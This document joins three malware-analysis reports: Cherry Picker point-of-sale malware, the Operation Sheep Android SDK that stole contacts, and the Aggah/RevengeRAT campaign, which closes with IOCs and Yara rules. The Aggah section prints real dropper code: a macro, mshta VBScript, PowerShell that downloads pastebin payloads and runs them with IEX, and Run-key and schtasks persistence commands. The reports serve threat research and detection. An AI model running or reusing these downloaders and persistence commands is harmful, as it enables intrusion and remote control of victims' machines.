The injection option is still here, although it has been expanded to include the ability to inject into all running processes, processes by name, or processes by PID. They can also install/uninstall a variable DLL name into the AppInit_DLLs registry key (which is what they mean by autorun). Then there is the patch DLL option. This option is a sophisticated file infector that patches the legitimate user32.dll on disk to first load the malicious DLL provided in the option before continuing on with the legitimate functionality of the system DLL. Srf uses a little-known legitimate function of Windows (sfc_os.dll #5) to disable system write protection on all three versions of user32.dll stored on the system. The legitimate copy is then copied to the same directory under user32.tmp before adding a DllEntryPoint to user32.dll with malicious code to load the supplied DLL.
This is the entry point for the legitimate user32.dll:
After the modification, the new entry point is DllEntryPoint:
Every time user32.dll is loaded by an application, pserver32.dll is loaded first and then the legitimate code is executed. This has basically the same effect as the AppInit_DLLs registry key but without leaving the telltale traces that can be found by a forensic analyst. The majority of Windows executables load user32.dll.
## The Config
The first thing the malware does is look for a hardcoded filename in the current working directory that contains configuration information. In version 1, the config file was named graph32.dll and was a plaintext file with the header "[config]." The lines after that contain "key=value" pairs that set options available to the malware. The API GetPrivateProfileIntA and GetPrivateProfileStringA are used to parse the plain text file and obtain the configuration values. In version 2, a new type of config file was introduced and the hardcoded filename changed to: kb852310.dll. While the plaintext config was still supported, if the malware doesn't find the "[config]" header, it will attempt to decode the file using a custom de-obfuscation algorithm. The plaintext config and the obfuscated config are parsed in two different manners but contain essentially the same information. The one difference is the obfuscated config can contain a public key, which will allow Cherry Picker to encrypt CHD before writing it to the exfiltration file. Both configs contain the following fields:
- **Target Process**: Process name to target for injection
- **FTP Username**: Username for logging into FTP server
- **FTP Password**: Password for logging into FTP server
- **FTP Host**: Hostname/IP for FTP server
- **FTP Passive**: Use FTP Passive mode
- **RAR Password**: Password for creating encrypted RAR archives
- **RAR Template**: Naming template for encrypted RAR archives
- **CHD dump file location**: Full path to CHD file, e.g., C:\Windows\system32\sysss.dll
- **Time**: What time to perform exfiltration of dump files, e.g., time=2045 (8:45 PM)
- **Timeout**: Time to wait before scraping memory
This is how Cherry Picker came by its name. The configuration specifies a target process that it expects to be loaded in. If the parent process does not match the name specified by this field, the malware will exit. This implies that the malware author already has scouted the system and knows exactly what process they are targeting. Just like a cherry picker in basketball, Cherry Picker targets one process and goes after that sweet, sweet card data.
## Off and Running
Once the malware has loaded the configuration file and verified that it is running in the correct process, a mutex is created. This prevents multiple copies from spawning on the system and synchronizes the collection of CHD and the exfiltration of files. In versions 1 and 2, the hardcoded mutex was:
```
Global\\Srch1Mutex
```
Version 3 changed the name to:
```
Global\\SYNC32TOOLBOX
```
The malware runs two threads. The first thread is responsible for finding the CHD in the process, writing the results to a file, and preparing the files for exfiltration. The location of the exfiltration file, time to perform the exfiltration, and destination are all contained in the configuration file. Cherry Picker enumerates the files in the %WINDIR%\System32 directory and builds a list of all .rar files that are found. It then begins to loop through the memory of the target process looking for CHD and writing it out to the file specified by the config for exfiltration. In version 3 of the malware, the author introduces a new technique for scraping memory using the API QueryWorkingSet.
If a public key is in the config, the data is encrypted before writing it to the exfiltration file; otherwise, it is written in plain text. Once the system time matches the exfiltration time listed in the configuration file, the malware will add the file containing the CHD to an encrypted archive using the following command:
```
rar m <template_rar_filename> <exfil_file> 0 -y -hp<password>
```
This thread will then release the mutex and sleep for 15 seconds plus the configured sleep timer. It will then re-acquire the mutex and repeat the above process indefinitely.
The second thread is responsible for exfiltrating the file to the FTP server specified in the configuration file. This thread waits for the mutex to be released and then FTPs all .rar files contained in the global list to the FTP server. If the config is missing the FTP username or password, it will use the IP in the configuration file to perform a POST request to /update.php on the server. The archive is deleted after it is exfiltrated from the system. This thread also maintains a log of the activities on the system based on the file path given in the configuration file. However, in all the observed configs, there was no path listed, which caused the log file to be written to %WINDIR%\0.log (or just 0 depending on the version). This file contains a log of the exfiltration attempts and is exfiltrated with the CHD:
```
<time_date_stamp> <exfil_file_size> <rar_exfil_name>
```
## The Cleanup
It is rare for malware authors to clean up artifacts on an infected system. On one of the systems, the forensic analyst was able to discover a file that did exactly this and more. The author went above and beyond writing a cleaner that returned the system to a "clean" state. This cleaner was highly targeted and contained hardcoded paths to the malware, exfiltration files, and the legitimate files on the system. The recent compile time of the cleaner also points to the cleaner being written for the current malware campaign.
**Filename**: Cvc.exe
**Hash**: C79C6EB598E496B27263B59858FC394AC6262302D63C7FD6CD5148852EA0E744
**Date**: 2015-06-30 03:57:24
Cvc looks for the TeamViewer process running on the system and injects code into it if it finds it, exiting if it doesn't exist. TeamViewer is a free third-party remote desktop software. The use of weak or default passwords on remote admin tools is a common initial vector of compromise on PoS systems and was likely the ingress method for the most recent forensic case involving Cherry Picker. The code contains a custom "shredder" function that takes a file path, overwrites the file multiple times with 00's, FF's, and cryptographic junk before moving the file to a random name in the same folder. The random name is then deleted. A hardcoded list of malware and exfiltration file locations are shredded. The injected code also shreds the original cvc.exe. The AppInit_DLLs registry key is checked for the pserver32.dll value and deleted if it exists. The PoS software that was being targeted is terminated and then re-launched to remove the malware from memory. Once the malware has been removed from the system, the handles held by the TeamViewer process are enumerated and the handle to the current log file is obtained. The current position is set to the beginning of the file, causing TeamViewer to overwrite its own logs. The injected code then deletes all old log files from the TeamViewer directory. Finally, the connection log is accessed and any reference to the malware author's connection is overwritten with 00's. The injected thread terminates and concludes restoring the system to a near pre-infection state. It does not reset the LoadAppInit_DLLs Registry key to 0, which doesn't necessarily mean that the system was infected by Cherry Picker but isn't typically set to 1 on a system with default settings.
## Detection
Trustwave's Endpoint Protection contains custom signatures that protect our customers from the Cherry Picker threat. In addition to this, we have released Yara rules capable of finding the installation, main malware, and cleaner for Cherry Picker malware. The Yara signatures can be found at Trustwave's GitHub page.
## Conclusion
Any malware author's main goal is to obtain target data while not being discovered or blocked by the owners of the target network. Cherry Picker was built to evade security controls through its use of configuration files, encryption, obfuscation, command line arguments, and highly targeted victims. The introduction of a new way to parse memory and find CHD, a sophisticated file infector, and a targeted cleaner program have allowed this malware family to remain under the radar of many security and AV companies. Hopefully, this post will raise awareness and drive further discussion of this malware family so that customers will be protected from this threat. |
# Operation Sheep: Pilfer-Analytics SDK in Action
Research by: Feixiang He, Andrey Polkovnichenko
Check Point Research has recently discovered a group of Android applications massively harvesting contact information on mobile phones without the user’s consent. The data stealing logic hides inside a data analytics Software Development Kit (SDK) seen in up to 12 different mobile applications and has so far been downloaded over 111 million times. Dubbed ‘Operation Sheep’, this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year.
## The Attack Vector
The SDK, named SWAnalytics, is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp, Wandoujia, Huawei App Store, and Xiaomi App Store. After app installation, whenever SWAnalytics senses victims opening up infected applications or rebooting their phones, it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers. From our first malicious sample encounter back in mid-September until now, we have observed 12 infected applications, the majority of which are in the system utility category. In the Tencent MyApp store alone, 8 of 12 infected applications have a staggering total number of over 111 million downloads. In theory, Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more.
With no clear declaration of usage from Shun Wang, nor proper regulatory supervision, such data could circulate into underground markets for further exploit, ranging from rogue marketing, targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest. This paper will cover the discovery of this campaign, dubbed ‘Operation Sheep’, and an analysis of SWAnalytics. We will also discuss the value of contact data from a cyber criminal’s perspective, and assess the fallout effect of Operation Sheep on the global mobile data security landscape.
## Operation Sheep’s Attack Flow
### Emergence of the Attack
In mid-September, an app named ‘Network Speed Master’ stood out on our radar with its rather unusual behavior patterns. Upon initial analysis, we observed frequent access to the user’s contacts data together with a sudden network transmission surge when the app is opened or the mobile phone is rebooted. As a system utility application that simply tests network connection speed, it reaches far beyond reasonable actions. Deeply intrigued, we took a closer look.
We began with the app’s long Android permissions requirement, which usually signals excessive data collection. Although it is worrying to see that most of the permissions were not related to the app’s main features, it was still too early to conclude that Network Speed Master is malware in and of itself. Although many legitimate advertisement SDKs rely on bespoke permissions to profile users in order to study user preferences and promote personalized advertisement content, we became much more skeptical when the “CoreReceiver” module appeared in the app’s manifest. This module monitors a wide range of device activities including application installation, removal, update, phone restart, and battery charge.
Following the user contacts data flow, we quickly landed on the actual contact data stealing module. It indeed dumps the user’s entire contact list in a name-number pair format (e.g. “John Oliver: 1234567890”), concatenates pairs into a giant string, and then finally sends it out to a remote server. Examining user contacts to understand a user’s social network is a popular marketing research method found in many advertisement SDKs. In order to protect user privacy, however, a legitimate SDK usually only collects contact names or numbers. Some even adopt a cryptographic approach to generate unique hash of name-number combinations so that the actual data is not collected at all. Massively uploading identifiable contact details, though, is unacceptable and in many countries constitutes a violation of data privacy regulations.
### The Exception to the Rule
Interestingly, the SDK developer seems to ignore old Android devices below Marshmallow on purpose. According to Google, Android Marshmallow and above represent 70% of Android devices. From an operational perspective, it seems to be a time and money saving trade-off that SWAnalytics made by avoiding to prolong compatibility support in order to keep its malicious code simple. Furthermore, we also observed a mysterious data stealing exemption. If it is a Meitu Phone, SWAnalytics will not collect the user’s contacts data at all.
## Network Speed Master’s Code
Upon establishing its malicious nature, we expanded our analysis scope to Network Speed Master’s overall code base. It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in. SWAnalytics also has a “smart” approach to collect the user’s QQ login data. (QQ is one of the most popular instant messaging applications in China. Both QQ and WeChat belong to Tencent.)
### The Man-in-the-Disk Connection
With default settings, SWAnalytics will scan through an Android device’s external storage, looking for directory “tencent/MobileQQ/WebViewCheck”. This folder hosts QQ login data cache. By listing sub-folders, SWAnalytics is able to infer QQ accounts which have never been used on the device. In Slava Makkaveev’s Man-in-the-Disk research, he discussed the risk of hosting sensitive application data in publicly accessible external storage. Operation Sheep is the first campaign we have observed in the wild that abuses a similar concept since our MitD publication.
To make this data harvesting operation flexible, SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control server. Whenever users reboot their device or open up Network Speed Master, SWAnalytics will fetch the latest configuration file from “http[:]//mbl[.]shunwang[.]com/cfg/config[.]json”.
“gps_timeout” defines the time interval (in milliseconds) between the device’s GPS coordinates tracking attempts. Currently, it leaks user geolocation every five seconds, which is a concerning behavior. “system_app” is a Boolean value which can be either 0 (false, do not include system applications in the device application list and send to C&C server) or 1 (true, include system applications). “info_address” is the directory SWAnalytics uses to search for QQ login details. “bs_time” defines time interval in seconds to leak all captured device data. It is also the check interval to make sure the data stealing process is alive. Currently, the data stealing process wakes up every 15 minutes.
The final part of Operation Sheep is to send data to Shun Wang’s C&C servers. Given the vast amount of data SWAnalytics leaks, it breaks down messages to C&C servers into five categories denoted by four-digit numbers:
| Message Code | Usage |
|--------------|-------|
| 1001 | Device information including geo-location, MAC address, installed application list, phone brand and model |
| 1002 | User contacts and QQ login list |
| 1003 | Current running applications |
| 1005 | UMENG_KEY (popular Chinese advertisement SDK Umeng) heartbeat |
| 1006 | Running process list and PID (process ID) |
Each data message sent to the C&C server follows the format of: To make sure the data is only readable to Shun Wang servers, SWAnalytics applies DES encryption twice. It uses the master encryption key “#dc?*-y1” to encrypt data before it’s sent to C&C server. In order to hide the master key, SWAnalytics uses another hard-coded passcode “123456” to encrypt its master key.
## The Hunt
Upon concluding Network Speed Master’s malicious behaviors, it was time to look for the big picture. During several months of investigation and continuous monitoring, we discovered 12 applications infested with SWAnalytics published in various channels. Because of the high segmentation of Android application publishing channels in China, this table is not an exhaustive list. Our research looked into 360 Qihoo Appstore, Baidu Appstore, Huawei Appstore, Tencent MyApp, Wandoujia, and Xiaomi Appstore. By the time of this publication, there’s no sign indicating SWAnalytics has penetrated Google Play yet.
| App Name | Package Name | Developer | Major Publish Channels | Confirmed Infested Version |
|-------------------|-------------------------------|------------------|----------------------------------|----------------------------|
| Incoming Call | com.hd.fly.flashlight | Hangzhou Hui Mao | All 6 stores | 2.3.1 to 2.3.4 |
| Flashlight | | | | |
| Network Speed | com.syezon.lab.networkspeed | Hangzhou Syezon | All 6 stores | 2.7.7 to latest |
| Master | | | | |
| Battery Doctor | com.isyezon.kbatterydoctor | Hangzhou Syezon | All 6 stores | 1.3.7 to 1.3.9 |
| Wi-Fi Password Key | com.syezon.wifikey | Hangzhou Syezon | All except Huawei and Xiaomi | 1.2.8 to 1.3.1 |
| Wi-Fi Signal | com.syezon.wifi | Hangzhou Syezon | All 6 stores | 3.7.0 to 3.7.5 |
| Amplifier | | | | |
| Syoo Video | com.syoogame.yangba | Hangzhou Shun Wang| All except Baidu and Xiaomi | 2.6.5 to latest |
| Super Battery | com.hodanet.charge | Hangzhou Hodanet | All except 360 and Xiaomi | 2.3.6 to latest |
| Charge | | | | |
| Happy Fishing | com.hzfy.kldwby.nearme.gamecenter | Hangzhou Fuyun | Only published on Shun Wang website | 6.4.6 to latest |
| (and 2 variants) | com.hzfy.kldwby.mi | | | |
| | com.hzfy.kldwby.huawei | | | |
| 91Y Live | com.live91y.tv | Hangzhou Fuyun | All 6 stores | 182 to latest |
| 91Y Game | com.lixxix.hall | Hangzhou Fuyun | Currently only available on Shun Wang website | 4.8.15 |
In order to understand SWAnalytics’ impact, we turned to public download volume data available on Chandashi, one of the app store optimization vendors specialized in Chinese mobile application markets. We derived a monthly new installation volume of six popular applications of interest. Data points span from September 2018 to January 2019 where we observed over 17 million downloads in just five months. Most of the infected applications maintained a solid month-on-month growth rate with already huge user bases, and although the new download volume does not necessarily result in an exact number of unique and freshly infected user numbers, we believe it does signal large scale compromise and a growing threat to users.
## The Value of Personal Contact Information
Compared to financial data and government issued ID document information, personal contact information is often treated as less sensitive data. According to popular belief, it requires extra effort to exploit such data while potential profits do not match a hacker’s effort. Hence it is unlikely to be targeted. However, the landscape is changing with deep specialization in underground markets and new “business models” available to profit from such personal contact data.
In 2018, intense competition among internet companies created a rush of new user acquisitions. It resulted in waves of cellphone number-based friend referral programs. In China alone, we have seen underground market “sheep shavers” ported SMS rogue marketing strategy to spread Alipay Red Packet referral URL links. When receivers click on these referral links, both the sender and receiver receive a small amount of credit in their Alipay accounts.
In 2019 new year trend predictions, multiple media outlets such as the BBC’s ‘Business Matters’ program and Forbes mentioned the online retail sector could expect great competition. In South East Asia alone, for example, Amazon, Alibaba backed Lazada and Shopee will each directly face-off against each other in regional markets. Indeed, during 2018’s year-end December sales promotion, Lazada already adopted the Alipay style referral program. In the same way, similar marketing campaigns are expected from competing vendors in 2019. As a result, this malicious trend in the mobile arena will fuel sheep shavers’ interest in carrying out similar cyber operations in regional markets outside of China.
In a heuristic view, Operation Sheep presents a rising security threat from 3rd party SDKs. In Operation Sheep’s case, Shun Wang likely harvests end user contact lists without application developer acknowledgement. This behavior does not benefit end users nor application developers. Rigorous code review is needed to prevent such pilfering behavior in so-called data analytics SDKs.
During our investigation, BuzzFeed News reported alleged advertisement fraud from Cheetah Mobile SDK too. According to Cheetah Mobile’s follow-up investigation, fraudulent behaviors came from two 3rd party SDKs (Batmobi, Duapps) integrated inside Cheetah SDK. Both these cases should be loud reminders to application developers in 2019 that before integrating SDKs into their mobile applications developers need to be aware of potential risks of undocumented and malicious behaviors implemented in 3rd party SDKs.
## Mitigation
Users are strongly advised to uninstall bespoke applications immediately. Stolen data is transmitted via HTTP protocol. It means not only that Shun Wang gets the victim’s data but that a malicious 3rd party can also intercept and acquire it.
## Operation Sheep Naming Explained
“顺手牵羊” a Chinese idiom which can be directly translated in English as “taking the opportunity to pilfer a sheep”, originates from an ancient Chinese essay named Thirty-Six Stratagems. In modern days, it refers to stealing properties of small value when the owner is not paying attention or at disadvantage.
“薅羊毛” is a Chinese slang that translates in English as “shaving a sheep in a subtle way that it won’t be noticed”. It refers to the practice of acquiring small unlawful income in a quick manner and on a large scale, hoping to accumulate considerable gain. In the internet age, it describes a multi-million dollar worth underground market of profiting by abusing various reward systems or freebie marketing promotions provided by vendors to reward brand loyalty or expand a customer base. |
# The Evolution of Aggah: From Roma225 to the RG Campaign
**August 6, 2019**
## Introduction
A few months ago, we started observing a cyber operation aiming to attack private companies in various business sectors, from automotive to luxury, education, and media/marketing. The attack attribution is still unclear, but the large scale of the malicious activities has also been confirmed by Unit42, who reported attack attempts against government verticals too. The attacks are characterized by the usage of a Remote Access Trojan named “RevengeRat,” suggesting a possible, still unconfirmed and under investigation, connection with the Gorgon Group, a known mercenary APT group involved in cyber-espionage operations and criminal activities.
Recently, Unit42 discovered another active campaign, compatible with the Roma225 one we tracked in December 2018, pointing to some interesting changes in the attackers' TTPs. We intercepted other attacks potentially related to this wider criminal operation. For this reason, the Cybaze-Yoroi ZLab team decided to analyze this recent campaign to investigate the evolution of the Aggah threat.
## Technical Analysis
The whole infection chain shows an interesting degree of sophistication, leveraging about seventeen stages: a non-negligible number of steps put in place to decouple the infection vector from the actual payload. The following info-graphics summarize the infection chain dissected in the sections below, starting from the weaponized Office document, initially delivered through malicious emails, to the final RevengeRAT payload.
### The Macro Dropper
**Hash:** 7c0a69f93831dcd550999b765c7922392dd0d994b0241071545749e865cc9854
**Threat:** Dropper
**Brief:** XLS Macro dropper
All the infection starts with a malicious XLS document weaponized with an embedded macro. The VB code is polluted by a multitude of junk instructions, and after a cleaning phase, we isolated the essence of the malicious code.
```vb
Public Function Workbook_Open()
rgh1 = YUcIFcEAA("tzo{h'o{{wA66ip", "7")
rgh2 = YUcIFcEAA("{5s€6", "7")
rgh3 = YUcIFcEAA("7O^7ixXmxmxm", "5")
rgh = rgh1 + rgh2 + rgh3
Shell rgh
End Function
Public Function YUcIFcEAA(Sg1NdPNeR As String, jxvMDn0vV As Integer)
Dim PFc88so50 As Integer
For PFc88so50 = 1 To Len(Sg1NdPNeR)
Mid(Sg1NdPNeR, PFc88so50, 1) = Chr(Asc(Mid(Sg1NdPNeR, PFc88so50, 1)) - jxvMDn0vV)
Next PFc88so50
YUcIFcEAA = Sg1NdPNeR
End Function
```
A quick manipulation of the script enabled us to easily bypass the code obfuscation techniques protecting the next stage of the infection: the invocation of a Microsoft HTML Application hosted in a remote location. The macro has the only purpose to run the mshta command. As defined by Mitre, “Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.”
### The Hidden HTA
The malware retrieves the HTA application to run from a remote host behind the Bitly shortening service. The target page is the “rg.html,” downloaded from “https://createdbymewithdeniss.blogspot.com/p/rg.html.” Even in this case, like in the Roma255 campaign, the attacker abused the Blogger platform to hide the malicious code in plain sight.
The page does not embed any binaries or malicious links, but navigating its source code reveals packed HTML code dynamically injected into the page during rendering.
This additional piece of script is specifically designed to be executed by the “mshta” utility. It is a VBScript code creating a “WScript.Shell” object, a particular object not designed to be loaded into regular web browser engines.
```html
<script language="VBScript">
Set Xkasdj2 = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Xa_aw1 = StrReverse(StrReverse("h")) + StrReverse(StrReverse("t")) + StrReverse(StrReverse("t")) + StrReverse(StrReverse("p")) + StrReverse(":") + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(".")) + StrReverse(StrReverse("p")) + StrReverse(StrReverse("a")) + StrReverse(StrReverse("s")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse("e") + StrReverse("b") + StrReverse("i") + StrReverse("n") + StrReverse(StrReverse(".")) + StrReverse("c") + StrReverse(StrReverse("o")) + StrReverse(StrReverse("m")) + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse("r") + StrReverse(StrReverse("a")) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("/"))))
Xa_aw0 = StrReverse(StrReverse("m")) + StrReverse(StrReverse("s")) + StrReverse(StrReverse("h")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(" a")
Xa_aw2 = "efZDG7aL"
XXX = Xa_aw0 + Xa_aw1 + Xa_aw2
Morg = XXX
Xa_aw = Morg
Xkasdj2.Run Xa_aw, vbHide
self.close
</script>
```
The VBScript code is obfuscated using a series of “StrReverse” functions. But the action it performs is still clearly evident: call another mshta process and execute a new HTA application hosted on Pastebin.
This other script is also encoded in hexadecimal format. After its decoding, its content can be divided into four parts. The first one is responsible for killing some of the Microsoft Office suite processes, like Word, Excel, Publisher, and PowerPoint.
```bash
cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE
```
Instead, the second chunk hides the next malware stage invocation within a Powershell script.
```powershell
powershell.exe [email protected](91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,[System.Text.Encoding]::ASCII.GetString($LOLO)|IEX
```
This code snippet hides a Powershell executable stage encoded in numeric format. The corresponding ASCII text is then executed through the IEX command-let.
```powershell
[void]
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://pastebin.com/raw/CM22vTup')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://pastebin.com/raw/Qx0K2baN').replace[k.Hackitup]::exe('MSBuild.exe',$f)
```
This code builds up the core of the malware implant. The third chunk of the code sets two different persistence mechanisms. Both of them invoke two different HTA applications retrieved from Pastebin:
1. The first persistence method is the classic “Run” registry key.
```vb
Set Xm_w = CreateObject("WScript.Shell")
L_Xe = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate"
Xm_w.RegWrite L_Xe,"mshta.exe http://pastebin.com/raw/bMJxXtXa","REG_EXPAND_SZ"
```
2. The second persistence method abuses scheduled tasks.
```vb
Set Mi_G = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Dim We_wW
We_wW0 = StrReverse("t/ 03 om/ ETUNIM cs/ etaerc/ sksathcs")
We_wW1 = "n ""Windows Update"" /tr ""mshta.ex"
We_wW2 = "e h" + "t" + "t" + "p" + ":" + "/" + "/" + "p" + "a" + "s" + "t" + "e" + "b" + "i" + "n" + "." + "c" + "o" + "m" + "/" + "r" + "a" + "w" + "/tuGAsMze"" /F "
We_wW = We_wW0 + We_wW1 + We_wW2
Mi_G.Run We_wW, vbHide
```
Both of the scripts are stored on the Pastebin platform, and even if the first one has been removed, the malware maintains its persistence thanks to the execution of the second method. The last chunk of code contains a huge number of Registry keys ready to be set on the target machine. This behavior has been implemented to drastically reduce the defenses of the target host, for instance, disabling security features of the Microsoft Windows and the Office ecosystem.
## The Hagga Pastes
The Code Snippet 5 contains the core of malicious actions. The malware concurrently downloads and executes Powershell code from two pastes. The first one is "CM22vTup" and has been published by a Pastebin user named “HAGGA,” the same reported in the PaloAlto analysis.
As previously hinted, the Powershell code in the “CM22vTup” snippet encodes its payload in numeric format. Decoding “PAYLOAD-1,” another obfuscated Powershell script reveals the loading of a shellcode directly in the running process memory.
```powershell
[email protected](PAYLOAD-1);$p=[System.Text.Encoding]::ASCII.GetString($jk)|IEX
```
After a basic manipulation, the data hidden in “PAYLOAD-2” results to be the hexadecimal representation of a PE file, easily recognizable due to the characteristic “4D 5A” header.
```plaintext
%_4D,%_5A,%_90,%_00,%_03,%_00,%_00,%_00,%_04,%_00,%_00,%_00,%_FF,%_FF,%_00,%_00,%_B8,[.....]
```
This PE 32 file is a well-formed .Net assembly. The static information about it is as follows:
**Hash:** 84833991f1705a01a11149c9d037c8379a9c2d463dc30a2fec27bfa52d218fa6
**Threat:** RevengeRAT / Injector
**Brief:** RevengeRAT / injector payload Obfuscated
However, the .Net payload is not totally unprotected. In fact, it has been obfuscated with the “ConfuserEx” obfuscator. The assembly is a Dynamic Linked Library with only one purpose: inject the payload into a target process through the well-known “Process Hollowing” technique. At this stage of the infection chain, the final payload could be retrieved, the RevengeRAT remote administration tool.
The final payload is the one downloaded from the Pastebin page “Qx0K2baN.” This code comes with the same obfuscation method seen in PAYLOAD-2, hex encoding together with a simple replacing routine.
**Hash:** 35e9bcc5654b1ebec035a481bc5ad67dc2341c1b534ac904c5bf28e3a5703eff
**Threat:** RevengeRAT
**Brief:** RevengeRAT injector payload Obfuscated
Even this executable is a well-formed .Net Assembly, but in this case, it is obfuscated with another tool, “.Net Reactor,” a commercial code protection tool specialized in .Net applications. Exploring the code, we found many similarities with the same RevengeRAT threat previously analyzed by us and by Unit 42. This means, with reasonable confidence, the campaign we are dissecting could be an evolution of the previous campaigns, showing an increase in the malware's stealthiness and the adoption of new techniques like process hollowing in the infection chain. Despite that, the RevengeRAT core is substantially the same.
This time the recurring word is “rg.” In fact, the two payloads downloaded from the Pastebin platform are “rgrunpe” and “rgbin”; also, the new command and control server domains start with the two letters “rg,” the codename of this last campaign. This time, despite the “roma225” case, the socket key of the rat is configured differently with the static string “lunlayo” and the id is “HOTEIS NOVOS” instead of “POWERScreenPOWER.”
The ID and Mutex of the last two campaigns are the same, indicating that the group is active and the infection campaign continues. Moreover, considering the number of views counted by the Pastebin snippet “CM22vTup,” the one delivering the RevengeRAT payload, it is possible to estimate the magnitude of the attack, which may involve up to 1600 victims.
## Conclusion
Since December 2018, we have been following the tracks of this ambiguous cybercriminal group, internally referenced as TH-173. There are chances this whole activity could be linked with the Gorgon Group, but at the moment we have no definitive evidence of this connection. Through constant monitoring of this threat, we observed a refinement in their infection chain while they are maintaining intact some of their TTP, such as the abuse of the Blogspot platform and legitimate dynamic DNS services. The group started abusing Pastebin to add complexity to the infection chain, mixing hidden MSHTA code, Powershell scripts, and additional process injection techniques to their arsenal.
## Indicator of Compromise
- **Dropurl:**
- https://createdbymewithdeniss.blogspot.com/p/rg.html
- https://pastebin.com/raw/CM22vTup
- https://pastebin.com/raw/Qx0K2baN
- https://pastebin.com/raw/bMJxXtXa
- https://pastebin.com/raw/efZDG7aL
- **Components:**
- 84833991f1705a01a11149c9d037c8379a9c2d463dc30a2fec27bfa52d218fa6
- 35e9bcc5654b1ebec035a481bc5ad67dc2341c1b534ac904c5bf28e3a5703eff
- **C2:**
- rgalldmn.duckdns.com:666
- **Persistence:**
- Set registry key: “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate" with value “mshta.exe http://pastebin.com/raw/bMJxXtXa”
- schtasks /create /sc MINUTE /mo 30 /t n "Windows Update" /tr "mshta.exe http://pastebin.com/raw/tuGAsMze"
- **Hash:**
- 7c0a69f93831dcd550999b765c7922392dd0d994b0241071545749e865cc9854
- 84833991f1705a01a11149c9d037c8379a9c2d463dc30a2fec27bfa52d218fa6
- 35e9bcc5654b1ebec035a481bc5ad67dc2341c1b534ac904c5bf28e3a5703eff
- a318ce12ddd1b512c1f9ab1280dc25a254d2a1913e021ae34439de9163354243
- c9b3a21aec8f7f484120c16d7ee70853020dc9fd2e881d504903c371d1028937
- e8cd233191e85b4e8827cfe5f3bf29a8f649104867dba769f318afac80cf3940
- 3fe7fc16905794e0a537c5491ef24bcb5eb54b75410dea8e15647863c5ed9e88
- 460342387c1d23300960e485bafd7cca69eea17ddc973189f3bd192d30bd8ba6
- 30768b0e8192c5fad94ed8f0c7c8b1bf4507fa2f586e77e1833808237a4bb9b2
- e7bb5d9614a35da8c85e2866dc36a05e30660667303897515cc59c456deacdbb
- 7eac7da2dfddad9d118c93e73afb3d8ceb2d401765ec48b88eea15adda871de6
- 4522b9f776deac10d3df322d5a87731bdfd51a73862b93e48d14fc954b28c6d1
## Yara Rules
```plaintext
rule rg_RevengeRAT_excel_macro_dropper_July_2019 {
meta:
description = "Yara Rule for revengeRAT_rg"
author = "Cybaze Zlab_Yoroi"
last_updated = "2019-08-01"
tlp = "white"
category = "informational"
strings:
$a1 = {D0 CF 11 E0 A1 B1}
$a2 = {EC A8 F9 46 C9 16}
$a3 = {91 26 DD 88 D0 AD}
$a4 = "GyjQSnPUjfNcA"
$a5 = "CMG=\"2D2F8"
condition:
all of them
}
import "pe"
rule rg_RevengeRAT_payload_1_July_2019 {
meta:
description = "Yara Rule for revengeRAT_rg payload_1"
author = "Cybaze Zlab_Yoroi"
last_updated = "2019-08-01"
tlp = "white"
category = "informational"
strings:
$a1 = {4D 5A}
$a2 = "kFeS0JCm" wide ascii
$a3 = {A1 6B 31 63 EE 9F}
$a4 = {06 38 70 DE FF FF 28}
condition:
2 of ($a*) and pe.number_of_sections == 3
}
import "pe"
rule rg_RevengeRAT_payload_2_July_2019 {
meta:
description = "Yara Rule for revengeRAT_rg"
author = "Cybaze Zlab_Yoroi"
last_updated = "2019-08-01"
tlp = "white"
category = "informational"
strings:
$a1 = {4D 5A}
$a2 = {93 E5 21 3F 59 AE}
$a3 = {11 08 28 22}
$a4 = "v2.0.507"
$a5 = {E2 80 8C E2 80}
$a6 = {81 AC E2 81 AF E2 80 AE}
$a7 = {E2 81 AA E2 80}
$a8 = {81 AF E2 80 AA}
$a9 = {81 AC E2 81 AF E2 80 AE}
$a10 = {C5 C7 4C 9E 65 A5 B6 42}
condition:
6 of ($a*)
}
```
## Edited Registry Keys
```plaintext
HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocation
HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsIn
HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesI
HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLoc
HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttacheme
